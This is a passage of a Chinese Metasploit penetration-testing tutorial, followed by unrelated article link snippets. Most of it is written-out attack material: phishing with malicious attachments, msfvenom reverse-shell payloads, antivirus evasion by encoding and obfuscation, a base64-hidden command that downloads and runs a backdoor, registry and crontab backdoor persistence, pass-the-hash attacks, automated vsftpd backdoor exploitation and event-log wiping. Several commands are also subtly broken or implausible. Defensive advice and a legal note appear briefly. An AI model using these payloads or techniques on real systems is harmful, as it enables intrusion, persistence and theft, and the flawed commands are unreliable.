- 内容优化:
- 邮件内容需简洁明了,诱导用户点击运行恶意附件。
- 结合社会工程学手段,如假冒运维账号发送“系统漏洞补丁”邮件。
2. 恶意Office文档生成
- 嵌入技术:
- 攻击者可通过在Office文档中嵌入恶意VBA代码或宏病毒。
- 实现远程代码执行。
- 使用
msfvenom
生成包含反向Shell的Office文档。
- 混淆技术:
- 使用代码混淆技术隐藏恶意代码的真实意图。
- 在VBA代码中插入无用字符串或压缩代码段。
八、防御与检测规避策略
1. 绕过杀毒软件技术
- 编码器(Encoders):
- 攻击者可使用多层编码技术对恶意程序进行编码。
- 规避杀毒软件的特征码检测。
- 例如,使用
x86/shikata_ga_nai
编码器进行多次编码。
- 加密通信:
- 通过加密通信技术(如
reverse_https
)。 - 隐藏恶意流量的真实内容。
- 规避杀毒软件的深度包检测。
- 通过加密通信技术(如
2. 绕过防火墙策略
- 端口转发:
- 攻击者可通过端口转发技术绕过防火墙限制。
- 访问内部网络服务。
- 例如,使用SSH端口转发将公网请求转发到内网目标主机上。
- 应用层协议欺骗:
- 伪装成合法的应用层协议(如HTTPS)。
- 绕过防火墙的检测规则。
- 实现恶意流量的传输。
九、自动化与脚本编写进阶
1. Metasploit API(Ruby脚本)高级应用
- 模块动态加载:
- 攻击者可通过Ruby脚本动态加载Metasploit模块。
- 配置参数执行攻击。
- 例如,使用
framework.modules.create
方法创建漏洞利用模块。 - 设置目标主机IP地址。
- 会话管理:
- 通过Ruby脚本管理已建立的会话。
- 查看会话信息、执行命令或迁移进程。
2. Resource Script(.rc文件)实战
- 批量攻击脚本:
- 攻击者可编写
.rc
文件批量执行攻击任务。 - 如漏洞扫描、Payload生成与发送。
- 通过
msfconsole -r auto_attack.rc
命令执行脚本。 - 实现自动化渗透测试。
- 攻击者可编写
- 联动Nmap扫描:
- 在
.rc
文件中集成Nmap扫描命令。 - 自动化方式发现目标网络中的开放端口与服务。
- 为后续攻击提供有力支持。
- 在
十、案例分析:企业内网渗透全流程
1. 攻击者完整攻击链
- 信息收集阶段:
- 攻击者使用Nmap扫描目标网络,发现开放端口与服务。
- 通过社会工程学手段收集目标邮箱等敏感信息。
- 漏洞利用阶段:
- 针对发现的漏洞(如MS16-032),攻击者生成Payload并执行。
- 获取目标系统的shell权限。
- 后渗透操作:
- 攻击者提升权限至SYSTEM。
- 收集敏感信息(如密码哈希、票据等)。
- 通过计划任务或注册表自启动实现持久化控制。
- 横向移动阶段:
- 利用获取的凭证(如NTLM哈希、Kerberos票据)。
- 访问其他内部系统,扩大控制范围。
2. 防御加固方案
- 补丁管理:
- 及时安装微软、Linux等厂商发布的补丁。
- 修复已知漏洞。
- 网络隔离:
- 通过VLAN划分、防火墙规则等手段隔离不同网络区域。
- 限制横向移动。
- 终端防护:
- 部署EDR解决方案。
- 监控终端行为,及时发现并阻止恶意活动。
- 安全意识培训:
- 加强员工安全意识培训。
- 提高防范社会工程学攻击的能力。
- 例如,定期组织钓鱼邮件演练。
十一、Metasploit高级模块开发(续)
3. 自定义Auxiliary模块
-
模块结构:
- Auxiliary模块用于执行扫描、嗅探、密码破解等辅助任务。
- 模块必须实现
initialize
、set_config
和run
方法。
-
示例代码(端口扫描):
ruby
require 'msf/core'class MetasploitModule < Msf::Auxiliary Rank = NormalRankingdef initialize(info = {}) super(update_info(info, 'Name' => 'Custom Port Scanner', 'Description' => %q{ This module scans a target host for open ports. }, 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://example.com/custom-port-scanner'] ]))register_options( [ Opt::RHOST('192.168.1.100'), OptInt.new('PORTS', [true, 'Ports to scan (e.g., 21-25,80,443)', '1-1024']) ]) enddef set_config # 配置模块参数(如RHOST、PORTS等) enddef run # 端口扫描代码(如使用Socket库尝试连接) print_status("Scanning #{datastore['RHOST']} for open ports...") ports = datastore['PORTS'].split(',').map { |p| p.split('-').map(&:to_i) }.flatten ports.each do |port| begin socket = Socket.new(:INET, :STREAM) sockaddr = Socket.pack_sockaddr_in(port, datastore['RHOST']) socket.connect(sockaddr) print_good("Port #{port} is open") rescue # 端口关闭或无法连接 end end end end
-
关键方法:
initialize
:初始化模块信息(如名称、描述、作者等)。set_config
:配置模块参数(如目标IP、端口范围等)。run
:执行辅助任务的核心代码(如端口扫描、密码破解等)。
-
调试与测试:
- 使用
msfconsole -r custom_auxiliary.rc
加载自定义模块。 - 在
run
方法中添加print_status
和print_error
语句输出调试信息。 - 使用
tcpdump
或Wireshark
捕获网络流量,观察扫描行为。
- 使用
4. 自定义Post模块
-
模块结构:
- Post模块用于后渗透操作,如权限提升、信息收集、持久化控制等。
- 模块必须实现
initialize
、set_config
和run
方法。
-
示例代码(信息收集):
ruby
require 'msf/core'class MetasploitModule < Msf::Post Rank = NormalRankingdef initialize(info = {}) super(update_info(info, 'Name' => 'Custom Information Gatherer', 'Description' => %q{ This module gathers information about the target system. }, 'Author' => ['Your Name'], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'windows'], 'SessionTypes' => ['meterpreter'])) enddef set_config # 配置模块参数(如SESSION等) enddef run # 信息收集代码(如获取系统信息、用户列表、网络配置等) print_status("Gathering system information...") sysinfo = client.sys.config.sysinfo print_good("OS: #{sysinfo['OS']}") print_good("Architecture: #{sysinfo['Architecture']}") print_good("Meterpreter: #{sysinfo['Meterpreter']}")print_status("Listing users...") users = client.sys.config.getuid print_good("Current user: #{users}")print_status("Listing network interfaces...") interfaces = client.sys.config.ifconfig interfaces.each do |interface| print_good("Interface: #{interface['name']}, IP: #{interface['addresses'].find { |addr| addr['family'] == 'inet' }['addr']}") end end end
-
关键方法:
initialize
:初始化模块信息(如名称、描述、作者、目标平台等)。set_config
:配置模块参数(如SESSION等)。run
:执行后渗透操作的核心代码(如信息收集、权限提升等)。
-
调试与测试:
- 在Meterpreter会话中执行自定义Post模块(如
run post/linux/custom_info_gatherer
)。 - 在
run
方法中添加print_status
和print_error
语句输出调试信息。 - 使用
sysinfo
、getuid
等Meterpreter命令验证收集到的信息。
- 在Meterpreter会话中执行自定义Post模块(如
十二、高级后渗透技术(续)
2. 持久化控制(续)
-
Windows注册表自启动:
bash
reg enumkey -k "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" reg setval -k "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -v "SecurityUpdate" -d 'C:\Windows\Temp\backdoor.exe'
-
Linux Crontab持久化:
bash
echo "@reboot /usr/local/bin/backdoor" >> /etc/crontab
3. 横向移动(续)
-
Windows Pass-The-Hash(PTH):
bash
use exploit/windows/smb/psexec set SMBUser Administrator set SMBHash 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' set RHOSTS 192.168.1.100 exploit
-
Windows Pass-The-Ticket(PTT):
bash
use exploit/windows/smb/psexec set SMBDomain WORKGROUP set SMBUser Administrator set SMBPass 'TICKET:...' set RHOSTS 192.168.1.100 exploit
十三、社会工程学与Metasploit结合(续)
3. 生成恶意PDF文档
- 使用
msfvenom
:bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f pdf > malicious_document.pdf
4. 生成恶意链接(钓鱼)
- 使用
set
模块:bash
use auxiliary/server/browser_autopwn2 set LHOST 192.168.1.101 set LPORT 4444 set URIPATH / set PAYLOAD windows/meterpreter/reverse_tcp exploit
十四、防御与检测规避(续)
3. 绕过应用白名单
-
使用
shikata_ga_nai
编码器:bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe > encoded_payload.exe
-
使用
AppLocker
绕过技巧:- 将Payload嵌入到合法文件(如
regsvr32.exe
)中执行。 - 使用
InstallUtil
执行.NET程序集。
- 将Payload嵌入到合法文件(如
4. 绕过行为检测
- 使用
sleep
命令:- 在Payload中添加
sleep
指令,延迟恶意行为执行。 - 示例:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f c | sed 's/VirtualAlloc/Sleep(10000); VirtualAlloc/g' | msfvenom -p - -a x86 --platform windows -f exe > delayed_payload.exe
- 在Payload中添加
- 使用
Obfuscated Commands
:- 将Meterpreter命令编码为Base64或十六进制,通过
cmd.exe
或powershell.exe
执行。 - 示例:
echo Y3VybCBodHRwOi8vMTkyLjE2OC4xLjEwMS9iYWNrZG9vcjsgLi9iYWNrZG9vcg== | base64 -d | cmd
- 将Meterpreter命令编码为Base64或十六进制,通过
十五、自动化与脚本编写(续)
3. 使用Metasploit API(Python脚本)
- 示例代码:
python
from metasploit.msfrpc import MsfRpcClient# 连接到Metasploit RPC服务 client = MsfRpcClient('password', port=55552)# 创建Exploit模块 exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')# 配置模块参数 exploit['RHOSTS'] = '192.168.1.100'# 执行攻击 exploit.execute(payload='linux/x86/meterpreter/reverse_tcp', payload_opts={'LHOST': '192.168.1.101', 'LPORT': 4444})# 获取会话ID session_id = exploit.session# 切换到会话 session = client.sessions.session(session_id)# 执行Meterpreter命令 print(session.sys.config.sysinfo)
4. 编写Resource Script(.rc文件)
-
示例代码(auto_exploit.rc):
use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.100 set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.1.101 set LPORT 4444 exploit
-
执行脚本:
bash
msfconsole -r auto_exploit.rc
十六、案例分析(续)
2. 高级持续性威胁(APT)模拟
- 攻击者思路:
- 信息收集:使用Nmap、Masscan等工具扫描目标网络,发现开放端口和服务。
- 漏洞利用:针对发现的漏洞(如vsftpd_234_backdoor、MS17-010)生成Payload并执行,获取初始访问权限。
- 后渗透操作:提升权限、收集信息、持久化控制(如创建计划任务、修改注册表)。
- 横向移动:利用获取的凭证(如密码哈希、票据)访问其他内部系统,扩大攻击范围。
- 数据窃取:使用Meterpreter的
download
命令或自定义脚本窃取敏感数据。 - 清理痕迹:使用
clearev
清除事件日志,删除上传的文件和进程,避免被发现。
- 防御建议:
- 网络分段:将网络划分为多个安全区域,限制横向移动。
- 最小权限原则:为每个用户和系统分配必要的最小权限。
- 定期审计:定期检查系统日志、注册表、计划任务等,发现异常行为。
- 员工培训:提高员工的安全意识,防范社会工程学攻击(如钓鱼邮件、恶意链接)。
- 部署EDR/XDR:使用终端检测与响应(EDR)或扩展检测与响应(XDR)解决方案,实时监控和响应高级威胁。
十七、Metasploit与其他工具集成
1. Metasploit与Nmap集成
-
使用Nmap扫描网络:
bash
nmap -sS -sV -O 192.168.1.0/24 -oX nmap_scan.xml
-
将Nmap结果导入Metasploit数据库:
bash
db_import nmap_scan.xml
-
在Metasploit中使用Nmap结果:
bash
hosts # 列出所有扫描到的主机 services # 列出所有开放的服务
2. Metasploit与Wireshark集成
- 捕获网络流量:
- 使用Wireshark捕获Metasploit攻击流量的网络接口。
- 分析Payload和通信:
- 在Wireshark中过滤Metasploit的通信(如
tcp.port == 4444
)。 - 分析Payload的编码、加密和传输方式。
- 在Wireshark中过滤Metasploit的通信(如
3. Metasploit与Burp Suite集成
-
配置Burp Suite代理:
- 在Burp Suite中设置代理监听(如
127.0.0.1:8080
)。
- 在Burp Suite中设置代理监听(如
-
配置Metasploit使用Burp Suite代理:
bash
setg Proxies 127.0.0.1:8080 # 设置全局代理
-
拦截和修改请求:
- 在Burp Suite中拦截Metasploit生成的请求,修改参数或Payload。
十八、Metasploit最佳实践
1. 渗透测试流程
- 信息收集:
- 使用Nmap、Masscan等工具扫描目标网络。
- 使用搜索引擎、社交媒体等公开来源收集信息。
- 漏洞分析:
- 使用OpenVAS、Nessus等漏洞扫描器识别漏洞。
- 手动验证漏洞的真实性和可利用性。
- 漏洞利用:
- 选择合适的Exploit模块和Payload。
- 配置模块参数,执行攻击。
- 后渗透操作:
- 提升权限、收集信息、持久化控制。
- 横向移动,扩大攻击范围。
- 报告编写:
- 记录测试过程、发现的漏洞、利用方法和修复建议。
- 使用Metasploit的报告生成功能(如
msfreport
)。
2. 法律与道德准则
- 遵守法律法规:
- 仅在授权范围内进行渗透测试。
- 禁止用于非法用途,如窃取数据、破坏系统等。
- 明确测试范围:
- 与委托方签订正式合同,明确测试目标、时间、方法和报告要求。
- 遵守委托方的安全政策和规定。
- 最小化损害:
- 避免对目标系统造成不必要的损害,如数据泄露、服务中断等。
- 在测试前对目标系统进行完整备份。
3. 安全操作规范
- 使用虚拟机环境:
- 在隔离的虚拟机(如VMware、VirtualBox)中进行测试。
- 避免影响物理机和其他虚拟机。
- 禁用危险模块:
- 通过
msfconsole
的-q
参数跳过欢迎信息,或使用-x
参数执行初始化脚本(如禁用自动运行模块)。
- 通过
- 清理测试痕迹:
- 测试完成后,使用
clearev
清除事件日志。 - 删除上传的文件和进程,避免被发现。
- 测试完成后,使用
十九、真实渗透测试案例(续)
3. Web应用渗透测试案例
- 攻击者思路:
- 信息收集:使用Nmap扫描目标Web服务器的开放端口和服务。
- 漏洞利用:针对发现的Web漏洞(如SQL注入、XSS、文件上传)生成Payload并执行。
- 后渗透操作:获取Webshell,提升权限,收集敏感数据。
- 横向移动:利用获取的凭证访问数据库服务器或其他内部系统。
- 防御建议:
- 输入验证:对用户输入进行严格的验证和过滤。
- 输出编码:对输出到页面的内容进行适当的编码。
- 使用Web应用防火墙(WAF):部署WAF检测和阻止Web攻击。
- 定期安全审计:对Web应用进行定期的安全审计和漏洞扫描。
二十、高级持续性威胁(APT)模拟(续)
- 攻击者思路:
- 长期潜伏:使用持久化控制技术(如计划任务、注册表自启动)保持对目标系统的长期访问。
- 数据窃取:定期窃取敏感数据,如用户凭证、商业机密等。
- 横向移动:利用获取的凭证访问其他内部系统,扩大攻击范围。
- 隐蔽通信:使用加密通信和隐蔽通道(如DNS隧道、ICMP隧道)避免被发现。
- 防御建议:
- 网络监控:部署网络监控和入侵检测系统(IDS/IPS)实时监测异常流量和行为。
- 终端保护:使用终端检测与响应(EDR)解决方案实时监控和响应终端上的异常行为。
- 日志分析:定期分析系统日志、安全日志和应用程序日志,发现异常登录、数据访问等行为。
- 员工培训:提高员工的安全意识,防范社会工程学攻击(如钓鱼邮件、恶意链接)。
相关文章:
Day 0015:Metasploit 基础解析
目录 一、理论学习(Metasploit 架构与核心组件) 一、架构设计:分层与模块化 基础层(Ruby 框架): 核心层(模块引擎): 接口层(交互界面)&#…...
相机标定与图像处理涉及的核心坐标系
坐标系相互关系 #mermaid-svg-QxaMjIcgWVap0awV {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-QxaMjIcgWVap0awV .error-icon{fill:#552222;}#mermaid-svg-QxaMjIcgWVap0awV .error-text{fill:#552222;stroke:#552…...
单例模式的运用
单例模式实现分析 在我们的向量数据库配置类 MilvusVectorDatabaseConfig 中,采用了单例模式的实现方式,这是一种非常经典且实用的设计模式。 饿汉式单例实现 这种实现方式属于饿汉式单例模式,它的优点在于: // 在类加载时就创…...
PageHelper分页原理解析:从源码到MySQL方言实现
一、引言 分页查询是Web开发的必备功能,MyBatis生态中的PageHelper以其简单易用的特性广受欢迎。本文将从源码层面(v5.3.2)解析PageHelper的分页实现机制,结合MySQL方言展示完整的执行链路。 二、核心实现原理 1. 插件初始化 …...
MySQL中索引最左前缀法则、索引失效情况、前缀索引、索引设计原则
最左前缀法则 联合索引中,最左前缀法则指的是查询从索引的最左列开始,并且不跳过索引中的列,如果跳跃某一列,索引将会部分失效(后面的字段索引失效)举例假设有一个联合索引包含三个字段按顺序:…...
pdf图片导出(Visio和Origin)
一、Visio 导入pdf格式图片 1. 设计->大小,适应绘图。 2. 文件->导出,导出为pdf格式。 上面两部即可得到只包含图的部分的pdf格式。 如果出现的有默认白边,可以通过以下方式设置: 1. 文件->选项->自定义功能区->…...
NR 通讯的整体架构
前言: 并假设发射器发送了一个信号,如左下角所示(蓝色),接收器检测到的信号显示在右侧(红色)。您在图中注意到的第一件事是什么?那就是发送的信号和接收的信号并不完全相同。 有什么…...
【大模型面试每日一题】Day 26:从伦理角度,大模型可能存在哪些潜在风险?技术上如何实现内容安全控制(如RLHF、红队测试)?
【大模型面试每日一题】Day 26:从伦理角度,大模型可能存在哪些潜在风险?技术上如何实现内容安全控制(如RLHF、红队测试)? 📌 题目重现 🌟🌟 面试官:从伦理角度…...
第六届电子通讯与人工智能国际学术会议(ICECAI 2025)
在数字化浪潮中,电子通讯与人工智能的融合正悄然重塑世界的运行逻辑。技术基础的共生关系是这场变革的核心——电子通讯如同“信息高速公路”,通过5G等高速传输技术,将海量数据实时输送至AI系统,使其能够像人类神经系统般快速响应…...
深入剖析 5G 核心网中的 PLMN
一、引言 在 5G 技术迅猛发展的当下,5G 核心网作为整个通信系统的关键枢纽,支撑着海量数据传输、低延迟通信以及多样化业务应用。其中,公共陆地移动网络(Public Land Mobile Network,PLMN)扮演着极为重要的角色,它是 5G 核心网实现用户接入、网络管理以及业务提供的基础…...
佰力博科技与您探讨半导体电阻测试常用的一些方法
一、两探针法 两探针法是一种较为基础的测试方法。该方法将两根探针与半导体样品表面紧密接触,通过电源在两根探针之间施加电压,同时使用电流表测量通过样品的电流,再根据欧姆定律计算电阻。这种方法的优点在于操作简单、设备要求较低&a…...
5G 核心网中的 NPN 功能详解
引言 在 5G 技术飞速发展的今天,5G 核心网不断演进,为各类应用场景提供强大支撑。其中,NPN(Non-Public Network,非公共网络)功能作为 5G 核心网的重要特性,正逐渐崭露头角,在众多行业中发挥着关键作用。它为特定用户或组织打造专属网络环境,满足其对网络性能、安全性…...
谷歌medgemma-27b-text-it医疗大模型论文速读:多语言大型语言模型医学问答基准测试MedExpQA
《MedExpQA: 多语言大型语言模型医学问答基准测试》论文解析 一、引言 论文开篇指出大型语言模型(LLMs)在医学领域的巨大潜力,尤其是在医学问答(QA)方面。尽管LLMs在医学执照考试等场景中取得了令人瞩目的成绩&#…...
# 深入解析BERT自然语言处理框架:原理、结构与应用
深入解析BERT自然语言处理框架:原理、结构与应用 在自然语言处理(NLP)领域,BERT(Bidirectional Encoder Representations from Transformers)框架的出现无疑是一个重要的里程碑。它凭借其强大的语言表示能…...
js中encodeURIComponent函数使用场景
encodeURIComponent 是 JavaScript 中的一个内置函数,它的作用是: 将字符串编码为可以安全放入 URL 的形式。 ✅ 为什么需要它? URL 中有一些字符是有特殊意义的,比如: ? 用来开始查询参数 & 分隔多个参数 连接…...
【NLP 77、Python环境管理工具之conda】
如果你第一万次否定自己,那我希望我可以一万零一次大声称赞你 —— 25.5.22 一、什么是conda conda是一个开源的包管理系统和环境管理系统,主要用于Python语言,但也可以用于其它语言的项目 二、为什么要使用conda ① 多环境共存,多…...
替代云数据库的本地方案:MySQL+phpMyAdmin的远程管理与跨网络访问技术
文章目录 前言1. 安装MySQL2. 安装phpMyAdmin3. 修改User表4. 本地测试连接MySQL5. 安装cpolar内网穿透6. 配置MySQL公网访问地址7. 配置MySQL固定公网地址8. 配置phpMyAdmin公网地址9. 配置phpmyadmin固定公网地址 前言 对于运维来说,平时还好,一旦出门…...
Dify大语言模型应用开发环境搭建:打造个性化本地LLM应用开发工作台
文章目录 前言1. Docker部署Dify2. 本地访问Dify3. Ubuntu安装Cpolar4. 配置公网地址5. 远程访问6. 固定Cpolar公网地址7. 固定地址访问 前言 各位小伙伴们,大家好!今天我们要来一场技术大冒险,手把手教你如何在Linux Ubuntu系统上使用Docke…...
MySQL索引事务
索引 通过索引可以对查询操作进行优化,通过减少全表扫描,快速定位数据,原本的查询操作是对表进行遍历,如果是大表效率较低 1)注意事项 占用了更多的空间,由于生成索引需要依赖于数据结构和额外数据&…...
Seay代码审计工具
Seay代码审计工具 介绍 Seay代码审计工具是一款由国内安全研究人员"Seay"开发的源代码安全审计工具,主要用于帮助安全人员快速发现PHP代码中的安全漏洞,快速定位代码中的安全风险点。 主要功能特点 自动化审计功能 支持自动扫描PHP代码中的…...
【人工智障生成日记1】从零开始训练本地小语言模型
🎯 从零开始训练本地小语言模型:MiniGPT TinyStories(4090Ti) 🧭 项目背景 本项目旨在以学习为目的,从头构建一个完整的本地语言模型训练管线。目标是: ✅ 不依赖外部云计算✅ 完全本地运行…...
技术分享:大数据挖掘平台架构设计与行业应用实践
在数字化转型浪潮下,企业数据规模呈指数级增长。如何构建高效的数据挖掘体系,实现数据价值变现,成为技术团队面临的重要课题。本文将深入探讨大数据挖掘平台的核心架构、关键技术及行业应用实践。 一、平台架构设计 1. 数据采集层 支持多源异…...
线性Wi-Fi FEM被卷死,非线性FEM是未来?
在跑了一圈路由器客户之后,我的内心反而平静下来,被卷死的不只是Wi-Fi FEM赛道,还有家用路由器市场。 尽管路由器市场比较惨淡,不过客户还是很愿意接见我,并做更广泛的交流和探讨。一方面之前推Wi-Fi FEM的众多厂商在渐…...
OpenCV CUDA模块图像过滤------用于创建一个最小值盒式滤波器(Minimum Box Filter)函数createBoxMinFilter()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 该函数创建的是一个 最小值滤波器(Minimum Filter),它对图像中每个像素邻域内的像素值取最小值。常用于&…...
【MySQL】06.MySQL表的增删查改
1. insert 我们先创建一个表结构,这部分操作我们使用这张表完成我们的操作: mysql> create table student(-> id int primary key auto_increment,-> name varchar(20) not null,-> qq varchar(20) unique-> ); Query OK, 0 rows affec…...
MySQL 索引失效及其解决办法
一、前言 在数据库优化中,索引(Index)是一项至关重要的技术手段,可以显著提升查询性能。然而,在实际开发过程中,MySQL 索引并不总是如预期生效。本文将从原理出发,系统地介绍索引失效的常见场景及其解决方案,帮助开发者有效规避性能陷阱。 二、索引基础回顾 MySQL 支…...
在线时间戳(Unix TimeStamp)转换器
做了一个在线时间戳转换器,简单、好用,提供多种日期格式。 移动端友好。 目标是做一套在线工具集,时间戳转换只是第一步。 欢迎试用...
flutter 项目调试、flutter run --debug调试模式 devtools界面说明
Flutter DevTools 网页界面说明 1. 顶部导航栏 Inspector:查看和调试 Widget 树,实时定位 UI 问题。Performance-- 性能分析面板,查看帧率、CPU 和 GPU 使用情况,识别卡顿和性能瓶颈。Memory-- 内存使用和对象分配分析ÿ…...
Qt C++实现马的遍历问题
在这个项目中,我们面对的是一个基于中国象棋的马的遍历问题,使用了C++编程语言,并结合了Qt5库来实现图形界面和棋盘的绘制。以下是这个项目涉及的关键知识点: 马的移动规则:马在象棋中具有独特的“日”字形移动方式,即每次可以向前、后、左或右移动一格,然后在同一行或同…...
web第六次课后作业--使用ApiFox实现请求响应操作
一、实体参数 1.1 简单实体参数 1.2 复杂实体对象 如果请求参数比较多,通过上述的方式一个参数一个参数的接收会比较繁琐。此时,我们可以考虑将请求参数封装到一个实体类对象中。 要想完成数据封装,需要遵守如下规则:请求参数名…...
第十周作业
一、CSRF 1、DVWA-High等级 2、使用Burp生成CSRF利用POC并实现攻击 二、SSRF:file_get_content实验,要求获取ssrf.php的源码 三、RCE 1、 ThinkPHP 2、 Weblogic 3、Shiro...
Excel合并单元格后,如何自动批量生成序号列
1.选择整列 2.组合键:CtrlG 3.定位条件,选择“空值” 4.在第一个框中输入“MAX(”,鼠标选中A1框,后加“:”,鼠标选中前方“A1”,按“F4”绝对引用,补全右括号,后输入“1…...
数据结构 -- B树和B+树
B树 B树 5叉查找树 最少1个关键字,2个分叉 最多4个关键字,5个分叉 如何保证查找效率 (1)eg.对于5叉排序树,规定除了根节点外,任意结点都至少有3个分叉,2个关键字 (若每个结点内关…...
el-table高度自适应、数据查询后高度展示错误问题
在很多场景中我们需要实现表格的高度自适应,即不同屏幕大小下需要使用不同的高度来设置表格,那么我们应该如何实现呢? 1.el-table实现高度自适应 通过以下代码可以实现表格根据屏幕进行自适应 设置表格的高度 <el-table ref"tableD…...
unittest
1.什么是unittest? unittest是Python自带的一个单元测试框架, 它可以做单元测试, 也能用于编写和运行重复的测试工作。它给自动化测试用例开发和执行提供了丰富的断言方法, 判断测试用例是否通过, 并最终生成测试结果. 2.unittest组成 2.1 TestCase TestCase即测试…...
【Linux学习笔记】ext2文件系统的深度剖析
【Linux学习笔记】ext2文件系统的深度剖析 🔥个人主页:大白的编程日记 🔥专栏:Linux学习笔记 文章目录 【Linux学习笔记】ext2文件系统的深度剖析前言一.ext2文件系统1.1宏观认识 二. Block Group三. 块组内部构成3.1 超级块&am…...
Vue 3 官方 Hooks 的用法与实现原理
Vue 3 引入了 Composition API,使得生命周期钩子(hooks)在函数式风格中更清晰地表达。本篇文章将从官方 hooks 的使用、实现原理以及自定义 hooks 的结构化思路出发,全面理解 Vue 3 的 hooks 系统。 📘 1. Vue 3 官方生…...
通过现代数学语言重构《道德经》核心概念体系,形成一个兼具形式化与启发性的理论框架
以下是对《道德经》的数学转述尝试,通过现代数学语言重构其核心概念,形成一个兼具形式化与启发性的理论框架: 0. 基础公理体系 定义: 《道德经》是一个动态宇宙模型 U(D,V,Φ),其中: D 为“道”的无限维…...
openai-whisper-asr-webservice接入dify
openai-whisper-asr-webservice提供的asr的api其实并不兼容openai的api,所以在dify中是不能直接添加到语音转文字的模型中,对比了下两个api的传参情况,其实只要改动一处,就能支持: openai兼容的asr调用中formdata中音频…...
曾经在知乎上看到一个回答:“入职做FPGA,后续是否还可以转数字IC设计?”
曾经在知乎上看到一个回答:“入职做FPGA,后续是否还可以转数字IC设计?” 对比FPGA的行业薪资水平,数字IC行业中的一些基础性岗位薪资比FPGA要高一些。 除了薪资之外,更多FPGA开发者考虑转向数字IC设计的原因如下&…...
第4周_作业题_逐步构建你的深度神经网络
文章目录 ***逐步构建你的深度神经网络***0. 背景0.1 要解决的问题0.2 作业大纲0.3 构建深层神经网络步骤 1. 导入包2. 初始化参数2.1 2层神经网络2.2 L层神经网络 3. 前项传播函数3.1 前项传播步骤3.2 线性前向3.3 线性激活部分3.4 L层前项传播模型3.5 计算成本 4. 反向传播模…...
Linux 搭建FTP服务器(vsftpd)
搭建FTP服务器(vsftpd): 文章目录 搭建FTP服务器(vsftpd):配置镜像安装vsftpd配置vsftpd关闭SELinux:配置防火墙启动vsfptd服务并设置开机自启创建FTP用户测试windows中测试Linux测试下载get/mget上传put/mput删除文件delete 搭建SCP服务器(基…...
AWS中国区中API Gateway中403的AccessDeniedException问题
问题 在互联网使用API Gateway的域名访问接口,出现403问题AccessDeniedException。具体如下: 前提 这里API Gateway相关配置都没有问题。而且,vpc内网都能访问被代理的服务。这里api gateway不需要使用自定义域名。 解决 向客服发个工单…...
计量单片机 RN8302:特性、使用与应用
在现代电力监测与能源管理领域,精确的电能计量至关重要。计量单片机 RN8302 作为一款高性能的电能计量芯片,凭借其卓越的特性与功能,在众多应用场景中发挥着关键作用。本文将全面深入地介绍 RN8302 的各项特性、使用方法、注意事项以及广泛的…...
Flutter生物识别认证之Flutter指纹认证Flutter人脸认证
Flutter介绍: Flutter是谷歌开发的开源UI软件开发工具包,用于高效构建跨平台的应用程序,支持iOS、Android、Web、Windows、macOS和Linux。它使用Dart语言编写,提供了丰富的组件和工具,使开发者能够创建高质量、高性能…...
了解Android studio 初学者零基础推荐(2)
在kotlin中编写条件语句 if条件语句 fun main() {val trafficLight "gray"if (trafficLight "red") {println("Stop!")} else if (trafficLight "green") {println("go!")} else if (trafficLight "yellow")…...
【Java Web】1.Maven
📘博客主页:程序员葵安 🫶感谢大家点赞👍🏻收藏⭐评论✍🏻 文章目录 一、初始Maven 1.1 什么是Maven 1.2 Maven的作用 二、Maven概述 2.1 Maven模型 2.2 Maven仓库 2.3 创建Maven项目 2.4 POM配置…...
【Spark集成HBase】Spark读写HBase表
Spark读写HBase表 摘要一、实验环境准备1. 技术版本2. Maven 依赖配置 二、实验步骤1. 数据准备2. HBase 表结构设计3. 代码实现3.1 数据写入 HBase(writeDataToHBase 方法)3.2 数据读取与分析(readHBaseData 方法3.3 Spark SQL 分析3.4 完整…...
【Linux】借助gcc源码修改,搜索头文件当前进展
从上图可以看出对于每次的搜索,都是从第一个目录开始搜索,图里也可以看到修改源代码所在的目录,函数,行,昨天的博客感觉对于找到的位置还是不太好。 在使用修改源代码编译的GCC,进行编译内核源代码时&#…...
jmeter登录接口生成一批token并写入csv文件
背景:大部分项目真实的业务接口都是需要token鉴权的,想对一批核心业务接口进行并发压测,必然要先生成一批token给这些接口并发循环调用。 基本的思路是这样的:一批手机号csv文件 -》登录接口循环读取csv文件并生成token -》每次…...